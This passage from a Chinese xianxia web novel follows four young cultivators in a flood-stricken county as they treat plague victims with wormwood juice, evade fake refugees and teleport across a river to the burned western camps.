谭一筠点点头,子不语正要顺势浮现出新的墨迹,被关云铮突兀抬手制止了。 “不对。” 另外两人和子不语一同转向她:“哪里不对?” 关云铮试图讲清自己的感受:“子不语上记录的这些可疑之处,与青蒿并非同一种。” 谭一筠不明所以:“此话何意?” 楚悯若有所思:“你觉得唤起的是不同的记忆?”她停顿片刻,迟疑道,“是从……别处?” 关云铮在这一刻仿佛听见了脑海中所有关窍被打通的声音。 对啊,她穿越之后的这部分记忆被遮掩了,但现代的记忆不会干涉现状,所以没受到影响。青蒿相关的知识,她也更倾向于是在现代就了解知悉的。 可她又对自己知道青蒿的形态特征一事毫无印象,为什么能想起来呢…… 关云铮思索着,目光不经意划过悬浮在空中的子不语,心说能从主人记忆里提取关键点的法器就是厉害,简直是全自动白板速记系……统。 等等。 法器? 她“噌”一下坐直了,从怀里摸出乾坤袋,把手伸进去好一通翻找。 谭一筠对她这一连串突兀的动作倍感困惑,但又不敢出声打断,只好看向楚悯,低声道:“云铮这是怎么了?” 楚悯也暂时没想明白,摇了摇头。 片刻之后关云铮终于找到自己想要的东西,在两人的目光中拿出了一个三层彼此嵌套的轮盘。 楚悯的目光顿时变了:“对,还有将隐。” 谭一筠没听过这个名字,依旧很困惑:“这是法器?” 关云铮点点头:“能回溯记忆的法器。” 谭一筠的神色霎时也变得振奋起来:“它的运行法则能跨过我们记忆被动的手脚吗?” 关云铮遗憾地摇了摇头:“暂且不知,我能感觉到它此刻能回溯的记忆很有限。” 局限在与此世毫无关联的现代记忆里。 究竟是什么对他们的记忆动了手脚? 关云铮放下将隐,再度抬眼看墨迹未褪的子不语。 这些线索一定指向同一个终点,但究竟是什么能有这样强大的能力,遮掩他们四人的记忆? 只生长在鹧鸪山的草药出现在了江县又代表着什么?青蒿喜欢阳光充足的环境,忌积水,这与鹧鸪山的环境几乎是相悖的,它们之中一定有一个是不该出现在此地的种类,也就是说,一定有一种草药能够证明此处存在致命的漏洞。 这里究竟是哪?真的是江县吗? 她正处于专注的思考状态中,自然也就没能错过脑海中一连串“咔哒咔哒”的齿轮咬合声。 一时之间,她像是接触到了赛博坦的高能能量块,语速飞快地叙述起来:“青蒿需先切碎,后用冷水浸泡数小……时辰,之后用力挤压或捣烂,绞取汁液,生汁直接口服,一次一剂,用以治疗疟疾。*” 谭一筠没见过这阵仗,颇受震撼地坐在原地:“这是方才那种药材的起效方法?” 关云铮说完了,点了点头。 谭一筠难以置信道:“你从何处看来的?” 关云铮面无表情:“高中应用文,因为那次只错了一道选择,就错在青蒿素的提取。” 谭一筠:“?” 他一头雾水地转向楚悯:“云铮这是在说什么?” 关云铮脑海中将隐转动的声音就没停下过,就像是方才她所有的思考,将隐全部延迟响应了一样,不停给她回溯着记忆中存在的答案。 她一脸木然地答道:“听不懂就对了,诺贝尔医学奖获得者的成就也不是我等凡民能听懂的。”要是能毫无障碍地听懂她也不至于错那一道选择了。 楚悯失笑,看出关云铮此刻脑海中怕是记忆纷乱,干脆代替她向谭一筠解释道:“应当是那法器回溯了太多记忆,就当是她在说胡话吧。” 谭一筠忍不住扬起眉毛,刚想对这件事发表几句看法,院外忽然传来一阵杂乱的脚步声。 几息之后,那阵脚步声停留在院外,一片寂静之中,一个声音突兀地响了起来: “快,把这些人都给我带走!”—— 作者有话说:*青蒿治疗疟疾的方法来自网络搜索 截至昨天下午两点,新增营养液59评论51,也就是加更3730字,凑了点一起发了 另外想争取一下下周的榜单,所以12-18号这一周时间会以隔两日更,每更6k+的模式更新[可怜] 第102章 关云铮听见这话的第一反应是往外看, 被门遮挡住大半视线后才意识到,他们三人分别坐在大开的两扇门之后,从院门外往里看未必能看见他们。 自从来到此处, 楚悯左手掌心的卦阵就没暗下去过, 此刻她又在飞快地在手心划动进行着卜算,几息之后对着关云铮摇了摇头。 又是卜算不出。 这到底什么鬼地方, 还要我们小悯卜算这么多次? 诸事不顺给关云铮的心口烧了一把无名火, 但现在不是发火的时候,她只能暂且按捺下情绪,飞快地思忖着如今的形势与合适的对策。 方才那一会儿只听出外面的脚步声纷杂,她耳力不及叶泯,听不出究竟来了几个人。那句“把这些人都带走”听着来者不善,关云铮坐在原地没动, 思索着是否要趁着来人没反应过来的当下闯出去对峙。 他们抵达灾民所的时间不长,还没帮上什么忙, 那对身体状态不佳的母子也仍然留在院子里,如果那些人闯进来, 首当其冲的就是他们。 可当下他们所处的位置尴尬, 稍微动一动就会完全暴露在来人的视线里,一直隐藏在暗处等着偷袭,还是现在就跳出去突脸, 是个问题。 目前江县的局势不明朗, 他们虽身处局中,实则对事态所知甚少,贸然起冲突估计不会有什么好处,但龟缩在此也未必能够自保…… 子不语依旧在谭一筠的身侧悬浮着,到了此刻, 扇面上有关线索的墨迹消失,浮现出新的字迹来。 还没等关云铮调转视线把字迹看清楚,外头已经传来了那妇人的叫喊声。 “你们是什么人?为什么要带走我儿子?” “你儿子得了疫病,这病会传染,我们得把他带走。” 只是把人带走隔离?真有这么好心? 关云铮怀疑地与对面二人对视了一眼,注意到谭一筠收回了子不语拿在手中,像是随时等待着发起攻击。 摇羽就在手边,而一门之隔的院内,脚步声逐渐逼近。 关云铮仍在犹豫。她不是没杀过人,之前在盈川她就杀过邪修,但她自己也清楚那一次能成功脱身并非凭借自己的本事,更多是苏逢雨的帮助与撷光的保护,她自己并没有直面危险后还能毫发无伤的底气。诚然,如今她与盈川那时相比已经多修炼了半月有余,剑招使得比那时更利落,出剑时也更果决。 但她不知此时的来者是谁。 万一来人只是普通人该怎么办?万一她出手后事情变得更糟该怎么办? 她想得越来越多,但仍坐在原地没动。谁料来人忽然在离门口一丈远的地方停下了,警惕道:“谁在里面?” 那对姐弟中的弟弟正蜷缩在关云铮身侧,来者闹出的动静太大,把他吵醒了,凶神恶煞的语气让他不由得蜷缩得更厉害了。 关云铮仍在犹豫,余光里谭一筠已经动了。 门外的人正逐渐靠近,她精神紧绷,顾不上去看一旁的谭一筠都做了些什么,几乎快要屏住呼吸。 待到那人的样貌彻底展露在她面前,关云铮差点没忍住“腾”地站起身。 虽然她一直有点脸盲,但她对衣着打扮的记忆异常牢固,这人分明就是她刚来此处时遇到的“假灾民”! 他果然有问题! 只见此人在房门口站住,目光四下扫视了一圈,怪异地略过了他们三人和那男孩,扫视结束后嘀咕了一句:“方才听见动静了,怎么没人……” 没人? 关云铮再按捺不住,站起身来往门口走了两步。 两步之后,她与此人之间的距离不到两尺,却仍然没能从对方脸上读到应有的表情波动。 他看不见他们。 关云铮蓦然想起什么,扭头看向谭一筠。 谭一筠身侧,不知何时再度展开扇面的子不语静静悬浮着,在她的注视下浮现出了两个墨色的字:“结界。” **** 叶泯拿着关云铮给的草药做参考,跟着那小姑娘猫着腰绕着河边走了一圈,费了好些工夫,也只找到不多不少的一捧,算上小姑娘怀里那些也是杯水车薪,按照关云铮说的入药方法,绞出的汁液怕是连一碗都不到。 叶泯直发愁,那小姑娘倒是颇为乐观,捧着自己怀里的那一些草药问他:“我们回去吗?” 他下意识伸手摸了摸隐在袖子里的灵犀,感觉到灵犀用脑袋蹭了蹭他的手指,大概是没再嗅到别的青蒿气息,于是点了点头说道:“回去吧。” 两人带着至关重要的草药,回程时不约而同走得更慢更谨慎,生怕遇到随时可能来抓谭一筠这个假郎中的守卫。 那小姑娘一看就没少在这种环境里求生存,在小巷中钻进钻出的动作比方才的四人灵活多了,没一会儿就领着叶泯回了灾民所。 这么一会儿不见,灾民所本就不存在的门又沾染上些许风霜,像被人用力推搡过一般,掉的只剩点木头渣子。 灵犀在他腕上缠得紧了些,像是发现了什么。 那小姑娘救弟心切,已经捧着草药冲进去了。 叶泯总觉得似乎有哪里不对,连忙也跟了进去。 刚一走进院内,就见那姑娘愣在原地,捧着草药自语般说道:“院子里的那对母子呢……” 叶泯顿觉不好,大跨步走到屋子门前,却发现关云铮三人竟一个都不在。 怎么可能? 他皱起眉,把怀里的草药放下,又退后几步观察了一番周遭。 暴雨和洪灾刚结束后的地面还有些湿意,他低头端详间,发现了几枚方才被他忽略的脚印。 似乎是成人男子的大小。 是谁来过了? 可门前地上也没有其他的脚印,难道那对母子和云铮他们一起离开了?不可能啊,他们分明知道他去河边寻找草药了,怎么可能一声不吭就走了? 叶泯越想越不对,又下意识往屋内走,“咚”的一声,撞了个头晕眼花。 他正纳闷哪来的东西撞的他,晕晕乎乎地睁开眼,却发现方才还不在屋内的三人正好端端地坐在屋子两边。 “大白天的见鬼了?”既然人还在屋里,叶泯也没再纠结细节,回头到门边把那捧草药重新拿了起来,正打算递给关云铮。 就见面前的人皱起了眉头,看向另一边的谭一筠,问道:“结界……不是不可触碰的吗?” **** 结界“不可被触碰”的准则被打破,当下便无法维系,显露出了被遮掩的真容。 院子里的那对母子确实被带走了,但女孩的弟弟还在,见到姐姐回来眼睛一亮,一时之间,方才掌控身体的恐惧仿佛都被抛到脑后:“姐姐!” 生龙活虎得不像是个仍在病中的孩童。 关云铮问完问题后便注意到叶泯和女孩怀里的青蒿,一时之间也顾不上结界的事,把青蒿接过来,按照方才记忆中的步骤忙碌起来。 那帮假灾民已经来过一趟,短时间内大概不会折返,但那对很可能染了病的母子被他们带走,想必不会得到善待,不管怎么说这两人是因为他们的犹豫,在他们眼前被带走的,关云铮没打算袖手旁观。 “假灾民”的存在究竟代表了什么?是有心之人的筹谋,还是灾民自发的行为? 如果是后者,也就是灾民已经逐渐演变为随时可能发动暴乱的流民,江县该怎么办? 如果是前者…… 关云铮忧心忡忡地把切碎的青蒿递给一旁负责绞出汁液的谭一筠:“我怎么觉得我们掺和进了一件大事里。” 楚悯坐在一边,正准备出发去找干净的水源,闻言也叹了口气:“偌大江县,多方势力汇聚。” 也不知道他们四人身处其中,能对江县的局势造成何种影响。 叶泯正用力绞着碎青蒿,说话时咬牙切齿的:“总有法子的,一件一件慢慢解决。” 小女孩正坐在叶泯身边,紧张地看着他和谭一筠二人的动作,不时还扭头安抚一番仍旧不明所以的弟弟,有了生的希望后,看起来状态好多了。 关云铮把自己负责的步骤做完了,打算找点别的事做,索性同楚悯一起离开灾民所,去寻找净水。 大灾之后必有疫病,因为古代的饮用水多数未经处理,直接来源于河水或井水。洪灾过后河水必然受到污染,然而看似安全的井水也未必干净,把这些受到污染的水直接作为饮用水,是疫病在古代格外泛滥的一大原因。 灾民所现在只剩下那对幼小的姐弟,他们四个没能保护好那对母子,如今不能再看着这对姐弟的生命快速走向尽头。 楚悯正循着新起的卦阵目不斜视地走着,关云铮走在她身边,看了一会儿她手心的卦阵:“你说究竟为何,来到此处后,好些事都算不清楚呢?” 楚悯对这个问题早有自己的答案,闻言便答道:“兴许此处就像结界,有一条不可被违背的运行准则,而之前无法卜算清楚的问题都触及了那条准则。” 关云铮隐隐觉得脑海中似乎有什么被触动,但当她凝神去感受,却又没发现任何异常,只觉得经历了这么一段时间,似乎有些头疼。 不过这点头疼对比她高中阶段而言微乎其微,她没太在意,继续就着话题与楚悯说道:“不过谭一筠布下的结界怎么会被叶泯触碰到?这样看来岂非准则根本没有成立?但准则没成立的话,之前那人又确乎看不到我们,说明结界的阻绝确实在运行中……” 楚悯收起左手,带着关云铮走进一处已经无人居住的院子:“应当就像来到此地之后诸多异常一样。” 也是。 关云铮默默叹了口气,感觉这半天不到的时间里,发生的事情烧脑得厉害,她都想习惯性放弃了。 就是这样一个知难而退的小女孩,如何呢。 楚悯刚走到水井旁边,一回头见她皱着眉头,不由关切道:“怎么一直皱眉?有哪里不舒服吗?” 关云铮回过神来,茫然:“我一直在皱眉?” 楚悯点了点头。 关云铮揉了一把脸:“没事,就是有点头疼,不影响。” 楚悯脸上的神情还是很忧虑,关云铮笑着拍了拍她的肩膀:“我什么性格你还不了解吗,要是真的难受,我早就吱哇乱叫了。” 楚悯对她的话并不赞同,但看她的样子,最后还是暂时屈服了,揭过这个话题没再多说:“这处井口洪灾时应当不曾被淹没,相对干净。” 井口和地面很干燥,没有污水经过留下的各类脏污,确实不像被洪水淹没过的样子。 她扒着井的边沿往下看了眼,发现这口井由石砖砌就,而且一眼看下去几乎看不到井底水面的反光,黑洞效应使得她看到的景象几乎是一片漆黑——是口在坚固度和深度这两方面都比较过关的井。 “怎么样?”楚悯看向她。 关云铮正四下寻找打水的工具,闻言答道:“我粗略看了看,这一块砖的厚度大约是十厘米,也就是三寸左右,井里光不太够,但能看到的砖已经超过了一丈的高度……” 她忽然想到些什么,把摇羽从剑鞘中薅出来,对着迷迷糊糊的剑灵说道:“你对自己的速度有概念吗?” 摇羽一头雾水:“说什么呢?有没有人话。” 关云铮二话不说把它丢井里了:“看不清有多深,派你测量一下。” 摇羽被丢进井里的瞬间大叫:“关云铮!” 被点名的人毫不在意,扒着井沿向下问道:“测出来了吗?” 底下传来摇羽怨愤难平的声音:“三丈多!” 关云铮对着楚悯一点头:“稳了,打水吧。” 楚悯:“噗。” **** 两人拎着水桶回去时,谭一筠和叶泯正好把绞好的青蒿汁液给姐弟俩服下,见了她们和打来的水,谭一筠问道:“煮沸了喝?” 关云铮点点头,把水桶交给他。 原本先前分工的时候,让谭一筠和叶泯负责绞出汁液,谭一筠还以为是考虑到他们的气力稍微大一些,因此伸手要接过水桶时神情很寻常,关云铮也没多在意,看他拿稳了就把手收回了。 关云铮的力气一撤,谭一筠的手猛地被水桶一坠,水面剧烈晃动,甚至溅洒出些许。 谭一筠:“?” 关云铮:“?” 两人彼此用怀疑的目光对视了好一会儿,关云铮质疑道:“你这都拎不动?” 谭一筠的语气也相当质疑:“你这都能拎动?” 站在一旁的楚悯和闻声而来的叶泯:“噗。” 总之最后还是由谭一筠把水拎进了屋内,倒进另一个干净的铜壶里煮沸。 关云铮则蹲在一边和两个孩子说话。 弟弟喝了青蒿汁苦得不行,到现在脸都还皱在一块;姐姐稍微好些,也更容易沟通,关云铮蹲在她面前同她说道:“从灾民所出去,经过三处屋子,在拐角处向左,再经过两处,第三处屋子里有一口井,那里有干净的水。” “你拎不动桶,就用这个铜壶去打水,记得一定要煮沸后才可以喝。”她语重心长地叮嘱道。 女孩点点头,又犹豫了一会儿才说:“你要走了吗?” 关云铮也点了点头:“我得走了,院子里那对母子你还记得吗?” 女孩抓着衣摆“嗯”了声。 “我想把他们找回来,治好,如果可能的话。”关云铮说道。 女孩思考了一会儿:“那你们还会回来吗?” 关云铮下意识想说会回来,可不知道为什么,脑海中忽然闪过一些无法彻底捕捉清晰的念头,片刻后改口道:“如果那边能顺利解决的话,会的。” 有些话一旦带了前提,可能就没有实现的那一天了,女孩兴许也明白这一点,听了这话明显地沮丧起来。 关云铮把她的表情变化看在眼里,沉默半晌,做了个之前压根没想过的决定:“那……你和弟弟要不要跟我们一起走?” 做出这个决定其实完全是她个人一时的想法,在此之前她也不曾问过同伴的意见,说出这话时心里非常没底。 但还没等面前的女孩回应,叶泯就从一旁凑了过来,兴高采烈地说道:“对啊,你们可以跟我们一起走,我们把你们送去城西,更多灾民居住的地方,好不好?” 谭一筠也走过来,在叶泯旁边坐下:“我们四人带你们姐弟还是不成问题的,若是你想跟我们走的话。” 楚悯不知何时走到了关云铮旁边,也跟她一样蹲了下来。 那女孩的弟弟原本一直沉默着,这会儿也悄悄挪到姐姐身边,拉了拉她的袖子。 “好,我们跟你们一起走。”女孩说道。 **** 去往城西的计划与潜入城东不同,关云铮不打算再偷偷摸摸,甚至想过用御剑飞行的方式过河。 谭一筠闻言沉默了一会儿:“不偷偷摸摸,就要大张旗鼓?” 关云铮:“诶嘿。” 当然是开玩笑的,没道理谨慎了这一路突然搞出那么大动静。 从城西进入城东,寻常途径只能是过桥,也就必须经过守卫与设下的障碍。 若是没有经历在灾民所的这半日,关云铮可能还会选择老老实实过桥的方式去往城西。 可现在她直面了“假灾民”带走真灾民的景象,算是明白了一些如今的形势,自觉没有遵守规定的必要,决定不再给这些府衙人员的面子,直接用仙门法子过去。 关云铮收敛起玩笑的神色,看向谭一筠:“谭兄,需要你布设一个更大些的传送法阵。” 之前子不语上布设的法阵够传送谭一筠一人,但如今她的计划是传送五人,也不知道子不语能否承载这么大的法阵。 毕竟之前……之前什么来着? 关云铮被这时有时无的记忆折腾烦了,皱了皱眉后继续说:“或者多次传送,直到我们都抵达对岸。” 谭一筠没提意见,只直白陈述道:“子不语能承载的法阵有限,此刻布置这么大的传送法阵也来不及了,多次传送吧。” 他口中念念有词,将子不语再次抛向空中。 扇面上的法阵瞬时焕发出一种全新的光彩,谭一筠布设好法阵,把扇子合上交给她。 关云铮接过扇子,不知想到什么,沉默了一会儿:“我先过去对吧?” 谭一筠不明所以:“对,怎么了?” 关云铮用一种看傻子的眼神看着他:“那我不还是得御剑?” 毕竟不打算过桥,那就得从河面上过去,不御剑,总不能游泳吧?先不论她会不会游泳,这刚发过洪灾的河,原身这个身板下去,被卷走岂不是分分钟的事? 这下谭一筠也沉默了。 方才他评价御剑飞行为“大张旗鼓”时,似乎忘了传送法阵需要有人先行抵达河对岸,才能顺利运转——正如之前四人也是分为两队跨越障碍后,谭一筠才能用传送法阵与另外三人会合。 一边的叶泯都快笑岔气了,过了好一会儿才说:“云铮找个隐蔽些的位置先过去,我们陆续传送,没什么问题。” 楚悯也赞许地点了点头。 关云铮失语地看了谭一筠几眼,拿着子不语转身走了:“到头来还是大张旗鼓。” 谭一筠默默认下这一句话,等关云铮走远了才回头看向身后两人:“总感觉迟早有天会被云铮骂得没法还口。” 楚悯和叶泯很给面子地没笑出声,反倒是站在楚悯身边被她牵着的女孩小声说了一句:“你方才就没还口。” 谭一筠:“……” 他竟也无法反驳。 几人在原地等了片刻,楚悯担心姐弟俩这半天下来腹中饥饿,从乾坤袋里摸出些不知为何提前放进去的点心,伸手递出去。 还没等她转头递给叶泯一些,就听一直在等待的谭一筠说道:“有动静了。” 他转过身来看向身后四人:“谁先走?” 楚悯低头看向身边的姐弟俩。 女孩轻轻推了推弟弟。 谭一筠牵过男孩,把他手中的传送符撕了。 一阵流光忽现,男孩的身影消失在原地。 谭一筠感应了一会儿,判断出那边的传送法阵应当是已经接到了人,又看向女孩:“走吧,他在那边等你。” 女孩点了点头,学着他的动作,也把自己手里的传送符撕了。 等姐弟俩都到了河对岸后,余下三人对视一眼,彼此都松了一口气。 “楚姑娘先走吧。”谭一筠看向楚悯。 楚悯没多推辞,点了点头,正打算把符咒撕了,忽然察觉到什么似的,低头看了眼左手掌心的卦阵。 传送前就被她启动的卦阵一直没有动静,此刻却突兀地发生了变化。 楚悯脸色一变:“我们得加快动作了。” 叶泯一愣,随即意识到她在说什么,面色顿时也变得紧绷起来:“方才抓人的那些人回来了?” 楚悯简短道:“有人从灾民所往河边来了。”还没等谭一筠和叶泯做出反应,她又补上一句,“云崽那边也有人在靠近。” 谭一筠面色沉沉:“楚姑娘先走,我和叶泯马上就过去会合。” 楚悯点点头,不再分散注意力到卦象上,利落地把手中的符纸撕毁了。 谭一筠等待片刻,确认那边的传送接收完毕,示意叶泯站到自己身边。 “逐个传送可能来不及了,我现在改法阵,我们一起过去。”他飞快地说道。 叶泯皱起眉头:“隔着这么远?不会出岔子?” 谭一筠垂眼布置着,分出几分心神同他解释道:“子不语是我的本命法器,与我之间有着感应,这段距离修改法阵只需耗些灵气,不会出岔子。” 他话音刚落,距两人最近的一处巷子里已经传来了紧凑沉重的脚步声。 叶泯先捕捉到这动静,不由得扭头往那边看了一眼:“他们要到了。” 法阵到了最终确认阶段,谭一筠顾不上回应,只心无旁骛地继续布设着。 脚步声越来越近,几息之间已经能清晰地听到其中一些人叫喊的声音。 灵犀缠在叶泯腕上,感觉到了他逐渐加快的脉搏,忍不住探出脑袋查看现状。 叶泯始终紧盯着巷口,心几乎悬到了嗓子眼。 巷口距他们不过几丈远,奔跑状态下几乎转瞬便能抵达。 以他们的本事,对上追兵倒不是无法脱身,但关云铮和楚悯还在河对岸等待,她们那边同样有人在虎视眈眈,当下他们必须成功会合。 “抓住他们!”巷口,追兵中的第一人露出了脸。 叶泯的右手已经伸到了腰后,抽出鞭子的动作蓄势待发。 同一时间,可同时传送多人的法阵终于布设结束,谭一筠一把抓住他另一只手:“走!”—— 作者有话说:来也! 想要评论[可怜] 第103章 被河流隔开的对岸, 城西。 关云铮御剑落地后便找了处隐蔽的巷子等候,展开子不语上的法阵前还特意观察过,此处只有她所在这一个入口, 除非来人爬到屋顶上从天而降, 其他情况下有人靠近她应该都能立刻察觉。 法阵展开后河对岸的谭一筠应当有所感应,片刻之后不出所料, 姐弟俩被率先传送过来, 她一手牵一个,低头安抚过后,在继续等待的过程中同还没归鞘的摇羽闲聊:“我对江县如今的局势有两个大胆的猜测。” 摇羽原本直挺挺地悬在她侧前方,闻言剑身朝她歪了点:“什么猜测?” 虽然不久前它才被关云铮当做度量工具丢进井里,但它都一百多岁的人……剑了,总不能因为这点小事跟一个十几岁的小丫头计较, 姑且将此事揭过不谈吧。 关云铮望着远处依旧浊黄的河面:“假灾民一定是受人指使。” “假灾民”当然有可能是真灾民,但一来, 真灾民如今的情状她已经见识过了,不说每个人都身染疫病, 至少也忍受着饥饿之苦, 可“假灾民”分明个个红光满面,哪有半点吃不饱的样子;二来……如果是灾民自发组织,规模应当要比方才那几人的队伍更大一些, 不说几十人, 十几人的规模应当得有。 既然二者都不符合,想必这是暗中组织起来的势力,灾民身份实为伪造,人数少则是为了避人耳目。 摇羽听完“嗯”了声:“但这猜测……倒也不是很大胆?” “县令的背后也另有他人。”这一点则完全出自那两位如同游戏NPC一般的店老板,信息都喂到耳边了, 姑且听一听。 “这也不算是猜测?”摇羽不明所以,“这不是来时路上听见的原话吗?” 关云铮没好气:“我话还没说完呢。” 摇羽退让道:“好好好,你说你说。” 没了剑灵的插科打诨,关云铮说出自己的结论:“县令背后之人和假灾民的幕后主使,不是同一人。” 摇羽原本还十分懒散的声音终于变得正经起来:“这猜测倒确实大胆。” “至于第三方势力,应当就是那个赶去救火却没能救成的,县衙司簿。”关云铮补充了一句。 摇羽若有所思:“还挺有道理。” 关云铮正想顺着它的话自夸一句,忽然察觉到什么,下意识往身后看了一眼。 可她身后分明是严严实实的一堵墙,无甚特别之处。 摇羽看不见,不知道她在做什么,但被她牵着的女孩注意到了她的动作,懵懂问道:“姐姐?” 关云铮正要回答,子不语上法阵流光一闪,楚悯从河对岸传送了过来。 她甫一落地便急道:“云崽,快……” 关云铮两只手都被占着,腾不出手拍她肩以作安抚,只能对她点了点头:“我知道,有人来了,我听见了。” 虽然她根本不知道自己是怎么听见的。 穿越之前,她的听力向来要比身边的人好一些,具体表现为能隔着一层楼和几扇紧闭的门,听见二楼房间里传来的电话铃声;隔着一段距离就分辨出每个室友的脚步声…… 但她并不觉得,这点听力足够她在没看到人影之前就听到人声,还是那么轻微的脚步声,她听见的瞬间还以为自己幻听又犯了。 ——更何况,她如今的身体并不是自己的,听力这种受身体构造影响的东西,应该也没有从21世纪继承过来。 摇羽倒是没料到这一出,晃了晃剑身问道:“你听见脚步声了?何时耳力变得这么好了?” 关云铮正担心着河对岸的两人,闻言随口说道:“这地方解释不清的事那么多,耳力忽然变强倒也不奇怪。” 楚悯原本以为关云铮独自在这边,或许对现状不甚了解,闻言无端松了口气,站到她身侧牵住那女孩,低头对她解释道:“等那两个哥哥过来,我们就走,别害怕。” 女孩摇了摇头:“我不害怕。” 在母亲还没因为疫病死去之前,她听她说起过修士。母亲说他们是未来可以成仙的人,会踩着剑在天上飞,会操控水和火,还会很多了不起的事。 ……如果哥哥姐姐们可以早点来这里就好了,母亲是不是也不会死了。 她眨了眨眼睛,又说:“姐姐们也不要难过,院子里的母子被抓走,不是你们的错。” 关云铮和楚悯牵着她的手不约而同地紧了紧,都没说话。 此处巷子没有别的入口,追查之人想必正在逐条巷子地搜索,没有那么快抵达。 但距离楚悯传送过来已过了一段时间,按理来说谭一筠和叶泯总该到了…… “他们可能在修改阵法,想同时传送过来。”楚悯目不转睛地看着子不语上光华流转的法阵。 关云铮皱眉:“来得及?这个距离能成功吗?” 楚悯心中没底,但经过这段时间,对谭一筠的性格还算了解,沉默片刻后说道:“他应当心中有成算。” 也是。 虽然谭一筠是个十足的话痨,但同时他也是个靠谱的话痨。 搜查的声音逐渐逼近,这次连男孩都听见了这动静,焦虑地四下环顾。 子不语的扇面忽的闪过一瞬不同色泽的光,关云铮和楚悯如有所感,立刻牵着姐弟俩一同往后退了一步。 “摇羽,他们来了,后退。”关云铮说道。 摇羽迅速飞到了她身后。 下一瞬,谭一筠和叶泯凭空出现在了几人面前,谭一筠一把抄过子不语:“我要写一封长信给我师父,这可是我第一次异处布阵成功。” 关云铮这次当真忍不了一点,当即一脚不轻不重地踹在他身后:“再不走你等着身首异处吧!” 谭一筠被这一脚踹得立时正色:“走,这就走。” **** 几人潜往城西的过程中,依旧由楚悯借助卦阵的指引担当带路人。 成功会合后,与各方势力正面冲突的危机暂时解除,谭一筠背着男孩,关云铮背着女孩,几人比在城东还要行踪鬼祟地在大小巷子之间穿梭。 “城东好像几乎没人了。”关云铮想到和楚悯一同去寻找水源时的所见,忍不住说道。 楚悯正垂眼看卦阵,闻言点点头说道:“或许正是因为没什么人居住,才会动用障碍彻底阻绝河流两岸,毕竟城东活着的可能都患了疫病。” 趴在关云铮背上的女孩小声说道:“发洪水的时候,城东很多房子都被淹没了,有些人那时候就被洪水带走了。” 四人陷入沉默,一时之间只有急匆匆的脚步声仍在响着。 女孩这一句话唤起了关云铮隐约的记忆,她正思索着,听见脑海中将隐“咔哒”一声,有关大师兄父母的记忆忽然涌现,让她不由得一愣。 之前不还只能回溯与这个世界无关的现代记忆吗?现在怎么连来到修仙世界的记忆都能回溯了? 还没等她习惯性地把这件事也归为此处的怪异之一,她的嗅觉已经率先捕捉到了一股来自不远处的烧焦味。 她与楚悯对视一眼,听见身后同样闻到味道的谭一筠说:“看来我们到了。” 绕过眼前房屋的遮挡后,令四人心头巨震的场景出现在眼前。 ——到处都是灰烬,目之所及遍地焦黑,所谓的窝棚只剩下几根没能完全烧毁的柱子,不知在支撑些什么,孤零零地站在废墟之中。 关云铮和谭一筠先后把背上的孩子放下来,六个人前前后后地站在废墟之前,再度陷入了沉默。 城东毫无疑问不是好去处,可城西看起来似乎也没好到哪里去,偌大江县竟没打算包容这样一群无家可去的灾民,关云铮颇觉荒谬地在原地站了一会儿,忽然听见身后有脚步声靠近。 摇羽才被她顺手收入鞘中,听见动静顿时又被拔出一截:“谁!?” 来人是个看着没比她和楚悯大多少的姑娘,见她拔剑被吓了一跳,忙退后两步表明自己没有恶意,之后才犯难地说道:“诸位是从城东而来?此处窝棚被烧毁了,暂时不能住人了。” 关云铮轻轻推了推身侧的女孩:“他们是从城东来的,我们不是此处人。” 来人显然早就从他们的衣着和面貌看出此事,点了点头后又说道:“那诸位少侠,接下来要去何处?” 叶泯方才在废墟之前茫然地站了好一会儿,听见这话脱口道:“我们留下来帮忙。” 他说完才意识到他的想法不能代表另外三人,忙调转视线看过去。 谭一筠一手搭上他肩拍了拍:“说得对,我们留下来帮忙。” 来人像是完全没料到这一出,顿时不知所措起来,张口结舌了好一会儿才恢复镇静,朝四人作了个几乎触地的揖:“陆识微在此谢过诸位。” 她率先说出姓名,四人趁此时机语速飞快地陆续介绍完自己。 关云铮介绍完还下意识多问了一句:“敢问陆姑娘是此处的……?” 陆识微忙解释道:“我是此地县衙司簿。” 得到意料之中答案的关云铮眸光闪动,与看过来的谭一筠对视了一眼,彼此心里都冒出个念头:先前她分明是凭借着“灵光一闪”猜测县衙司簿是个女人,但这灵光一闪的准确度是否太高了些? 这样看来岂不是并非随便闪的…… 这种迹象似乎更像是记忆中本来就有这些信息,只是在说出猜测时,并不曾感受到将隐回溯这类的权能在起效,所以更像是毫无依据的信息。 如果这些全都是记忆的话……她又是从哪得来的这些记忆呢? **** 几人抵达城西时已近晌午,陆识微刚忙了一上午,此刻终于抽出空来,先将两个孩子安置好,随后带着四人去了一处客栈。 “江县受灾严重,县城里只剩下这家客栈还能做点餐食生意了,味道可能不好,望诸位别见怪。”陆识微带着他们进门前说道。 在客栈门口就这样蛐蛐人家厨师的手艺真的没关系吗? 不过洪灾还没彻底摆平,餐馆的食材…… 关云铮想到这,忍不住皱了皱眉,正好陆识微从前方转过身来,福至心灵地读懂了她的神色,解释道:“食材保证新鲜,别担心。” 被戳中心思,关云铮本该觉得尴尬,但陆识微脸上的神情实在太过坦荡,还贴心地将说话时的音量放低了,故而她也没不自在,干脆地跟着陆识微跨过了客栈的门槛。 客栈确实生意不错,就连洪灾过后这样萧条的大环境下,都还有一桌客人在吃饭,比21世纪多数路边的餐馆都要经营得好,看起来永远不会走到破产那天。 但关云铮总觉得哪里不对劲,因此在陆识微起身去点菜时凑近楚悯,说了几句悄悄话。 楚悯听完垂眼,在左手掌心又起了一个卦阵。 谭一筠原本还因为惦记着代价一事,提醒过楚悯少卜算几次,如今见识过一番江县甚不明朗的局势后,已经放弃多嘴了。 多算算至少不会出错,至于代价……那么多问题都不让卜算清楚,怎么也有脸收取代价? 谭一筠想到这就来气,又在心里骂了一顿不讲理的天道才罢休。 而桌子另一边,楚悯的卦阵已经算出了结果,她垂眼看完卦象,又凑到关云铮耳边低声说了些什么。 两人一来一回说了什么另外两人一个字也听不清,叶泯都快好奇死了,见她们说完了急忙问道:“算什么了?说来听听?” 关云铮很有背后说人的自觉,先回头看了眼仍在与掌柜交谈的陆识微,这才开口低声道:“这家客栈背后之人是县衙县令。” 叶泯脸上的好奇顿时转为了不屑:“难怪灾后都能有客人,食材也能保证新鲜。” 但江县如今的破败众人有目共睹,作为这么个穷乡僻壤处的县令,此人又是用哪里来的银钱支撑这家客栈的经营? 难不成…… 四人面面相觑,都想到了一个可能。 赈灾款。 先前经过粮店,还听见那店主人说起过县令背后另有人在…… 